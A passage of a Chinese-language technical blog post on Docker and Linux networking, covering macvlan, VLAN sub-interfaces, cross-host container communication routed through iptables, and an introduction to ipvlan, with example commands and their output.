&lt;p&gt;由于路由器可以识别到宿主机的 ip 地址，所以再将数据包转发给外界，外界接受数据包并作出响应。这时候，在外界看来，这个数据包就是从 192.168.1.10:24 上发出来的，Docker 容器对外是不可见的。&lt;&#x2F;p&gt;
&lt;p&gt;整个过程如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-bridge-snat-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;macvlan模式&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;macvlan本身是linxu kernel的模块，本质上是一种网卡虚拟化技术。其功能是允许在同一个物理网卡上虚拟出多个网卡，通过不同的MAC地址在数据链路层进行网络数据的转发，一块网卡上配置多个 MAC 地址（即多个 interface），每个interface可以配置自己的IP，Docker的macvlan网络实际上就是使用了Linux提供的macvlan驱动&lt;&#x2F;p&gt;
&lt;p&gt;因为多个MAC地址的网络数据包都是从同一块网卡上传输，所以需要打开网卡的混杂模式ip link set eth0 promisc on;&lt;&#x2F;p&gt;
&lt;p&gt;创建macvlan网络不同于桥接模式，需要指定网段和网关，并且都得是真实存在的，例如docker network create -d macvlan --subnet=10.9.8.0&#x2F;24 --gateway=10.9.8.254 -o parent=eth0 macvlan-test&lt;&#x2F;p&gt;
&lt;p&gt;macvlan模式不依赖网桥，所以brctl show查看并没有创建新的bridge，但是查看容器的网络，会看到虚拟网卡对应了一个interface是2&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;macvlan-container-interface.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;查看宿主机的网络，2正是虚机的网卡&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;macvlan-container-network-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可见，容器的 eth0 就是宿主机的eth0通过macvlan虚拟出来的interface。容器的interface直接与主机的网卡连接，这种方案使得容器无需通过NAT和端口映射就能与外网直接通信（只要有网关），在网络上看起来与其他独立主机没有区别。当前网络结构如图所示：&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;docker-macvlan-network-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;macvlan会独占主机的网卡，也就是说一个网卡只能创建一个macvlan 网络，否则会报错，为了能支持更多的macvlan网络，macvlan不仅可以连接到interface（如eth0），也可以连接到网卡的子接口sub-interface（如eth0.xxx）。&lt;&#x2F;p&gt;
&lt;p&gt;VLAN 是现代网络常用的网络虚拟化技术，它可以将物理的二层网络划分成多达 4094 个逻辑网络，这些逻辑网络在二层上是隔离的，每个逻辑网络（即 VLAN）由 VLAN ID 区分，VLAN ID 的取值为 1-4094。Linux 的网卡也能支持 VLAN（apt-get install vlan），同一个 interface可以收发多个VLAN 的数据包，不过前提是要创建 VLAN的 sub-interface。比如希望 eth0同时支持 VLAN10 和 VLAN20，则需创建 sub-interface eth0.10 和 eth0.20。创建的子接口是可以看到的，如下如&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;vlan-sub-interface-list.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在交换机上，如果某个端口只能收发单个VLAN的数据，该port为Access模式，如果支持多个VLAN，则为Trunk模式，要实现多个macvlan，网卡要接在交换机的 trunk口上。&lt;&#x2F;p&gt;
&lt;p&gt;例如给网卡创建了10、20两个子接口后，分别创建容器后的网络结构如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-bridge-macvlan&#x2F;macvlan-vlan-subinterface-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dockerkua-zhu-ji-tong-xin-zhi-macvlan&quot;&gt;Docker跨主机通信之macvlan&lt;&#x2F;h3&gt;
&lt;p&gt;macvlan 本身是 linxu kernel 模块，其功能是允许在同一个物理网卡上配置多个虚拟网卡，即多个 interface，每个 interface 可以配置自己的 IP。macvlan 本质上是一种网卡虚拟化技术。&lt;&#x2F;p&gt;
&lt;p&gt;macvlan 的最大优点是性能极好，相比其他方式，macvlan 不需要创建 Linux bridge，而是直接通过interface 连接到物理网络。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-cross-host&#x2F;macvlan-principle.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;0-zhun-bei-shi-yan-huan-jing&quot;&gt;0、准备实验环境&lt;&#x2F;h3&gt;
&lt;p&gt;我们会使用 node1和 node2 上单独的网卡创建 macvlan。为保证多个 MAC 地址的网络包都可以从网卡通过，我们需要打开网卡的混杂模式。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ip link set enp0s3 promisc on
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;确保 enp0s3 状态 UP 并且 promisc 模式已经生效。&lt;&#x2F;p&gt;
&lt;p&gt;因为  node2 和 node3 是 VirtualBox 虚拟机，还需要在网卡配置选项页中设置混杂模式。&lt;&#x2F;p&gt;
&lt;p&gt;当前实验环境拓扑图如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-cross-host&#x2F;macvlan-lab-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-xiang-tong-macvlan-wang-luo-zhi-jian-de-tong-xin&quot;&gt;1、相同 macvlan 网络之间的通信&lt;&#x2F;h3&gt;
&lt;p&gt;分别在 node2 和 node3 中创建 macvlan 网络 macvlan1：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker network create -d macvlan --subnet=172.16.5.0&amp;#x2F;24 --gateway=172.16.5.1 -o parent=enp0s3 macvlan1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这条命令中，&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-d&lt;&#x2F;code&gt; 指定 Docker 网络 driver&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--subnet&lt;&#x2F;code&gt; 指定 macvlan 网络所在的网络&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--gateway&lt;&#x2F;code&gt; 指定网关&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-o parent&lt;&#x2F;code&gt; 指定用来分配 macvlan 网络的物理网卡&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;之后可以看到当前主机的网络环境，其中出现了 macvlan 网络：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker network ls
NETWORK ID          NAME                DRIVER              SCOPE
2c49b5f1a0f2        bridge              bridge              local
1651b429a674        host                host                local
1d34c56c6448        macvlan1            macvlan             local
4f2664e6f883        none                null                local
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 node1 中运行容器 busybox1 并连接到 macvlan1。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker run -itd --name busybox1 --ip=172.16.5.2 --network macvlan1 busybox
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这条命令中，&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--ip&lt;&#x2F;code&gt; 指定容器 busybox1使用的 IP，这样做的目的是防止自动分配，造成 IP 冲突&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--network&lt;&#x2F;code&gt; 指定 macvlan 网络&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;同样在 node2 中运行容器 busybox2：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker run -itd --name busybox2 --ip=172.16.5.3 --network macvlan1 busybox
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证 busybox1 和 busybox2 的连通性。&lt;&#x2F;p&gt;
&lt;p&gt;busybox2 能够 ping 通 busybox1 的 IP 172.16.10.2&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker exec -it busybox2 &amp;#x2F;bin&amp;#x2F;sh
&amp;#x2F; # ping 172.16.5.2
PING 172.16.5.2 (172.16.5.2): 56 data bytes
64 bytes from 172.16.5.2: seq=0 ttl=64 time=0.615 ms
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-bu-tong-macvlan-wang-luo-zhi-jian-de-tong-xin&quot;&gt;2、不同 macvlan 网络之间的通信&lt;&#x2F;h3&gt;
&lt;p&gt;macvlan 会独占主机的物理网卡，也就是说一个物理网卡只能创建一个 macvlan 网络，否则会报错：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker network create -d macvlan --subnet=172.16.20.0&amp;#x2F;24 --gateway=172.16.20.1 -o parent=enp0s3 macvlan2
Error response from daemon: network dm-1d34c56c6448 is already using parent interface enp0s3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果我们想创建多个 macvlan 网络就得用多张网卡，但主机的物理网卡数量是有限的。&lt;&#x2F;p&gt;
&lt;p&gt;如何支持更多的 macvlan 网络呢？&lt;&#x2F;p&gt;
&lt;p&gt;好在 macvlan 不仅可以连接到 interface（如 enp0s3），也可以连接到 sub-interface（如 enp0s33.100）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在交换机上,如果某个 port 只能收发单个 VLAN 的数据,该 port 为 Access 模式. 如果支持多 VLAN,则为 Trunk 模式.enp0s3 要接在交换机的 trunk 口上&lt;&#x2F;p&gt;
&lt;p&gt;接下来，我们来看看不同 macvlan 网络之间的连通性，拓扑环境如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-cross-host&#x2F;macvlan-multi-network-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-1-chuang-jian-zi-jie-kou&quot;&gt;2.1  创建子接口&lt;&#x2F;h4&gt;
&lt;p&gt;首先分别在两台主机上将物理网口 创建出两个 VLAN 子接口&lt;&#x2F;p&gt;
&lt;p&gt;配置vlan需要vconfig命令,由于centos7上没有自带vconfig命令,所以需要安装vconfig&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#确认内核是够载入了802.1q模组
lsmod|grep 8021q
#如果没载入使用这个命令载入模组
modprobe -a 8021q
#配置epel源
yum install epel-release -y
#安装vconfig
yum install vconfig -y
#通过ip -a或者ifconfig -a查看是否生效
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;## 使用 vconfig 命令在 enp0s3 配置两个 VLAN
#node2 和 node3
vconfig add enp0s3 100
vconfig add enp0s3 200

## 设置 VLAN 的 REORDER_HDR 参数，默认就行了
#node2 和 node3
vconfig set_flag enp0s3.100 1 1
vconfig set_flag enp0s3.200 1 1

## 启用接口
## node2 和 node3
ifconfig enp0s3.100 up
ifconfig enp0s3.200 up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-2-chuang-jian-macvlan&quot;&gt;2.2 创建macvlan&lt;&#x2F;h4&gt;
&lt;p&gt;分别在 node2 和 node3 上基于两个 VLAN 子接口创建 2 个 macvlan 网络，mac10 和 mac20&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#node2 和 node3
docker network create -d macvlan --subnet=172.16.10.0&amp;#x2F;24 --gateway=172.16.10.1 -o parent=enp0s3.100 mac10
docker network create -d macvlan --subnet=172.16.20.0&amp;#x2F;24 --gateway=172.16.20.1 -o parent=enp0s3.200 mac20
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-3-chuang-jian-rong-qi&quot;&gt;2.3  创建容器&lt;&#x2F;h4&gt;
&lt;p&gt;分别在 node2 和 node3 上运行容器，并指定不同的 macvlan 网络&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## node2
docker run -itd --name box1 --ip=172.16.10.10 --network mac10 busybox
docker run -itd --name box2 --ip=172.16.20.10 --network mac20 busybox

## node3
docker run -itd --name box3 --ip=172.16.10.11 --network mac10 busybox
docker run -itd --name box4 --ip=172.16.20.11 --network mac20 busybox
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过验证，box1 和 box3，box2 和 box4 在同一 macvlan 网络下，互相可以 ping 通，box1 和 box2，box3 和 box4 在不同的 macvlan 网络下，互相 ping 不通。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@tuling2 ~]# docker exec -it box1 ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:10:0A:0A
          inet addr:172.16.10.10  Bcast:172.16.10.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

[root@tuling2 ~]# docker exec -it box1 ping 172.16.10.11
PING 172.16.10.11 (172.16.10.11): 56 data bytes
64 bytes from 172.16.10.11: seq=0 ttl=64 time=2.781 ms
64 bytes from 172.16.10.11: seq=1 ttl=64 time=1.106 ms
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个原因也很明确，不同 macvlan 网络处于不同的网络，而且通过 VLAN 隔离，自然 ping 不了。&lt;&#x2F;p&gt;
&lt;p&gt;但这也只是在二层上通不了，通过三层的路由是可以通的，我们这就来验证下。&lt;&#x2F;p&gt;
&lt;p&gt;重新找一台主机 node1，通过打开 &lt;code&gt;ip_forward&lt;&#x2F;code&gt; 把它改造成一台路由器，用来打通两个 macvlan 网络，大概的图示如下所示：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-cross-host&#x2F;macvlan-cross-host-routing.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-4-kai-qi-lu-you-zhuan-fa&quot;&gt;2.4  开启路由转发&lt;&#x2F;h4&gt;
&lt;p&gt;首先对 node1执行 &lt;code&gt;sysctl -w net.ipv4.ip_forward=1&lt;&#x2F;code&gt; 打开路由开关。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-5-she-zhi-wang-guan&quot;&gt;2.5 设置网关&lt;&#x2F;h4&gt;
&lt;p&gt;然后创建两个 VLAN 子接口，一个作为 macvlan 网络 mac10 的网关，一个作为 mac20 的网关。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;vconfig add enp0s3 100
vconfig add enp0s3 200
vconfig set_flag enp0s3.100 1 1
vconfig set_flag enp0s3.200 1 1

## 对 vlan 子接口配置网关 IP 并启用
ifconfig enp0s3.100 172.16.10.1 netmask 255.255.255.0 up
ifconfig enp0s3.200 172.16.20.1 netmask 255.255.255.0 up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-6-she-zhi-iptables&quot;&gt;2.6 设置IPtables&lt;&#x2F;h4&gt;
&lt;p&gt;添加 iptables 规则，转发不同 VLAN 的数据包&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; iptables -t nat -A POSTROUTING -o enp0s3.100 -j MASQUERADE
 iptables -t nat -A POSTROUTING -o enp0s3.200 -j MASQUERADE

 iptables -A FORWARD -i enp0s3.100 -o enp0s3.200 -m state --state RELATED,ESTABLISHED -j ACCEPT
 iptables -A FORWARD -i enp0s3.200 -o enp0s3.100 -m state --state RELATED,ESTABLISHED -j ACCEPT

 iptables -A FORWARD -i enp0s3.100 -o enp0s3.200 -j ACCEPT
 iptables -A FORWARD -i enp0s3.200 -o enp0s3.100 -j ACCEPT
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样之后再从 box1 ping box2 和 box4，就可以 ping 通了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@tuling2 ~]# docker exec -it box1 ping 172.16.10.11
PING 172.16.10.11 (172.16.10.11): 56 data bytes
64 bytes from 172.16.10.11: seq=0 ttl=64 time=2.603 ms
^C
--- 172.16.10.11 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min&amp;#x2F;avg&amp;#x2F;max = 2.603&amp;#x2F;2.603&amp;#x2F;2.603 ms
[root@tuling2 ~]# docker exec -it box1 ping 172.16.20.11
PING 172.16.20.11 (172.16.20.11): 56 data bytes
64 bytes from 172.16.20.11: seq=0 ttl=63 time=2.771 ms
64 bytes from 172.16.20.11: seq=1 ttl=63 time=0.833 ms
64 bytes from 172.16.20.11: seq=2 ttl=63 time=1.834 ms
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面我们分析数据包是如何从 box1（172.16.10.10）到达 box4（172.16.20.11）的。&lt;&#x2F;p&gt;
&lt;p&gt;我们在创建容器的时候指定了网关 &lt;code&gt;172.16.10.1&lt;&#x2F;code&gt;，所以数据包自然会被路由到 node1 的接口。看下 node1 的路由&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@tuling1 ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 enp0s3
169.254.0.0     0.0.0.0         255.255.0.0     U     1002   0        0 enp0s3
172.16.10.0     0.0.0.0         255.255.255.0   U     0      0        0 enp0s3.100
172.16.20.0     0.0.0.0         255.255.255.0   U     0      0        0 enp0s3.200
172.17.0.0      0.0.0.0         255.255.0.0     U     0      0        0 docker0
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 enp0s3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，去往 &lt;code&gt;172.16.10.0&#x2F;24&lt;&#x2F;code&gt; 网段的数据包会从 enp0s3.100 出去，同理 &lt;code&gt;172.16.20.0&#x2F;24&lt;&#x2F;code&gt; 网段也是，再加上 node1 的 &lt;code&gt;ip_forward&lt;&#x2F;code&gt; 打开，这就打通了两个 macvlan 网络之间的通路。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h3&gt;
&lt;p&gt;macvlan 是一种网卡虚拟化技术，能够将一张网卡虚拟出多张网卡。&lt;&#x2F;p&gt;
&lt;p&gt;在 Docker 中，macvlan 只支持 bridge 模式。&lt;&#x2F;p&gt;
&lt;p&gt;相同 macvlan 可以通信，不同 macvlan 二层无法通信，可以借助三层路由完成通信。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;jie-shao&quot;&gt;介绍&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;   macvlan 本身是 linxu kernel 模块，其功能是允许在同一个物理网卡上配置多个 MAC 地址，即多个 interface，每个 interface 可以配置自己的 IP。**macvlan 本质上是一种网卡虚拟化技术(最大优点是性能极好)**

  可以在linux命令行执行`lsmod | grep macvlan` 查看当前内核是否加载了该driver；如果没有查看到，可以通过`modprobe macvlan`来载入，然后重新查看。内核代码路径&amp;#x2F;drivers&amp;#x2F;net&amp;#x2F;macvlan.c

   Macvlan 允许你在主机的一个网络接口上配置多个虚拟的网络接口，这些网络 `interface` 有自己独立的 MAC 地址，也可以配置上 IP 地址进行通信。Macvlan 下的虚拟机或者容器网络和主机在同一个网段中，共享同一个广播域。Macvlan 和 `Bridge` 比较相似，但因为它省去了 Bridge 的存在，所以配置和调试起来比较简单，而且效率也相对高。除此之外，Macvlan 自身也完美支持 `VLAN`。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;gong-zuo-mo-shi-bridge-vs-macvlan&quot;&gt;工作模式(Bridge VS MACVlan)&lt;&#x2F;h4&gt;
&lt;p&gt;Bridge Mode&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Bridge 是二层设备，仅用来处理二层的通讯。&lt;&#x2F;li&gt;
&lt;li&gt;Bridge 使用 MAC 地址表来决定怎么转发帧（&lt;code&gt;Frame&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;Bridge 会从 host 之间的通讯数据包中学习 MAC 地址。&lt;&#x2F;li&gt;
&lt;li&gt;可以是硬件设备，也可以是纯软件实现(例如：&lt;code&gt;Linux Bridge&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;提示:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    **Bridge 有可能会遇到二层环路，如有需要，可以开启 STP 来防止出现环路。**
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;MACVlan Mode&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可让使用者在同一张实体网卡上设定多个 MAC 地址。&lt;&#x2F;li&gt;
&lt;li&gt;上述设定的 MAC 地址的网卡称为子接口（&lt;code&gt;sub interface&lt;&#x2F;code&gt;）；而实体网卡则称为父接口（&lt;code&gt;parent interface&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;parent interface&lt;&#x2F;code&gt; 可以是一个物理接口（eth0），可以是一个 802.1q 的子接口（eth0.10），也可以是 &lt;code&gt;bonding&lt;&#x2F;code&gt; 接口。&lt;&#x2F;li&gt;
&lt;li&gt;可在 parent&#x2F;sub interface 上设定的不只是 MAC 地址，IP 地址同样也可以被设定。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sub interface&lt;&#x2F;code&gt; 无法直接与 &lt;code&gt;parent interface&lt;&#x2F;code&gt; 通讯 (带有 sub interface 的 VM 或容器无法与 host 直接通讯)。&lt;&#x2F;li&gt;
&lt;li&gt;若 VM 或容器需要与 host 通讯，那就必须额外建立一个 &lt;code&gt;sub interface&lt;&#x2F;code&gt; 给 host 用。&lt;&#x2F;li&gt;
&lt;li&gt;sub interface 通常以 &lt;code&gt;mac0@eth0&lt;&#x2F;code&gt; 的形式来命名以方便区別。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;macvlanmo-shi&quot;&gt;MACVlan模式&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;Bridge：属于同一个parent接口的macvlan接口之间挂到同一个bridge上，可以二层互通（macvlan接口都无法与parent 接口互通）。&lt;&#x2F;li&gt;
&lt;li&gt;VPEA（Virtual Ethernet Port Aggregator）：所有接口的流量都需要到外部switch才能够到达其他接口。&lt;&#x2F;li&gt;
&lt;li&gt;Private：接口只接受发送给自己MAC地址的报文。&lt;&#x2F;li&gt;
&lt;li&gt;Passthru: 父接口和相应的MacVLAN接口捆绑在一起，这种模式每个父接口只能和一个 Macvlan 虚拟网卡接口进行捆绑，并且 Macvlan 虚拟网卡接口继承父接口的 MAC 地址。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;前三种模式示意图:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan&#x2F;macvlan-modes-diagram.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shi-yan&quot;&gt;实验&lt;&#x2F;h4&gt;
&lt;p&gt;Bridge Mode:创建了两个macvlan接口，分别放到两个netns中；然后验证这两个macvlan口之间客户互通。&lt;&#x2F;p&gt;
&lt;p&gt;设置网卡混杂模式(PROMISC网卡混杂标志)：
[root@localhost ~]#ifconfig ens224 promisc[root@localhost ~]# ifconfig ens224
ens224: flags=4419&amp;lt;UP,BROADCAST,RUNNING,&lt;strong&gt;PROMISC&lt;&#x2F;strong&gt;,MULTICAST&amp;gt;  mtu 1500
………………&lt;&#x2F;p&gt;
&lt;p&gt;创建两个macvlan接口，其parent接口都是ens224&lt;&#x2F;p&gt;
&lt;p&gt;[root@localhost ~]# ip link add link ens224 name macv1 type macvlan mode bridge
[root@localhost ~]# ip link add link ens224 name macv2 type macvlan mode bridge&lt;&#x2F;p&gt;
&lt;p&gt;查看接口状态:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan&#x2F;macvlan-interfaces-status.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;创建namespace
[root@localhost ~]# ip netns add net1
[root@localhost ~]# ip netns add net2&lt;&#x2F;p&gt;
&lt;p&gt;将macvlan接口插入到namespace
[root@localhost ~]# ip link set macv1 netns net1
[root@localhost ~]# ip link set macv2 netns net2&lt;&#x2F;p&gt;
&lt;p&gt;设置网卡IP,设置网卡UP状态
ip netns exec net1 ip addr add 52.1.1.151&#x2F;24 dev macv1
ip netns exec net2 ip addr add 52.1.1.152&#x2F;24 dev macv2&lt;&#x2F;p&gt;
&lt;p&gt;设置网卡IP,设置网卡UP状态
[root@localhost ~]#ip netns exec net1 ip addr add 52.1.1.151&#x2F;24 dev macv1[root@localhost ~]#ip netns exec net2 ip addr add 52.1.1.152&#x2F;24 dev macv2
[root@localhost ~]#ip netns exec net1 ip link set macv1 up[root@localhost ~]#ip netns exec net2 ip link set macv2 up&lt;&#x2F;p&gt;
&lt;p&gt;查看网卡状态
[root@localhost ~]# ip netns exec net1 ip a
1: lo: &amp;lt;LOOPBACK&amp;gt; mtu 65536 qdisc noop state DOWN group default qlen 1000
link&#x2F;loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
4: macv1@if3: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UNKNOWN group default qlen 1000
link&#x2F;ether 4e:a1:51:a9:3f:ef brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 52.1.1.151&#x2F;24 scope global eth0
valid_lft forever preferred_lft forever
[root@localhost ~]# ip netns exec net2 ip a
1: lo: &amp;lt;LOOPBACK&amp;gt; mtu 65536 qdisc noop state DOWN group default qlen 1000
link&#x2F;loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
5: macv2@if3: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UNKNOWN group default qlen 1000
link&#x2F;ether fe:b5:85:c1:77:c1 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 52.1.1.152&#x2F;24 scope global macv2
valid_lft forever preferred_lft forever&lt;&#x2F;p&gt;
&lt;p&gt;ping测试结果:
net1和net2无法ping通宿主机,ping自己也不通.2个容器互相ping没有问题&lt;&#x2F;p&gt;
&lt;p&gt;更改容器内网卡名字&lt;&#x2F;p&gt;
&lt;p&gt;ip netns exec net1 ip link set mac1 name eth0&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ipvlan&quot;&gt;ipvlan&lt;&#x2F;h4&gt;
&lt;p&gt;IPVlan 和 macvlan 类似，都是从一个主机接口虚拟出多个虚拟网络接口。一个重要的区别就是所有的虚拟接口都有相同的 macv 地址，而拥有不同的 ip 地址。因为所有的虚拟接口要共享 mac 地址，所有有些需要注意的地方：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;DHCP 协议分配 ip 的时候一般会用 mac 地址作为机器的标识。这个情况下，客户端动态获取 ip 的时候需要配置唯一的 ClientID 字段，并且 DHCP server 也要正确配置使用该字段作为机器标识，而不是使用 mac 地址&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Ipvlan 是 linux kernel 比较新的特性，linux kernel 3.19 开始支持 ipvlan，但是比较稳定推荐的版本是 &amp;gt;=4.2（因为 docker 对之前版本的支持有 bug）,具体代码见内核目录：&lt;code&gt;&#x2F;drivers&#x2F;net&#x2F;ipvlan&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;ipvlanmo-shi&quot;&gt;ipvlan模式&lt;&#x2F;h4&gt;
&lt;p&gt;L2:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; ipvlan L2 模式和 macvlan bridge 模式工作原理很相似，父接口作为交换机来转发子接口的数据。同一个网络的子接口可以通过父接口来转发数据，而如果想发送到其他网络，报文则会通过父接口的路由转发出去。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;L3:&lt;&#x2F;p&gt;
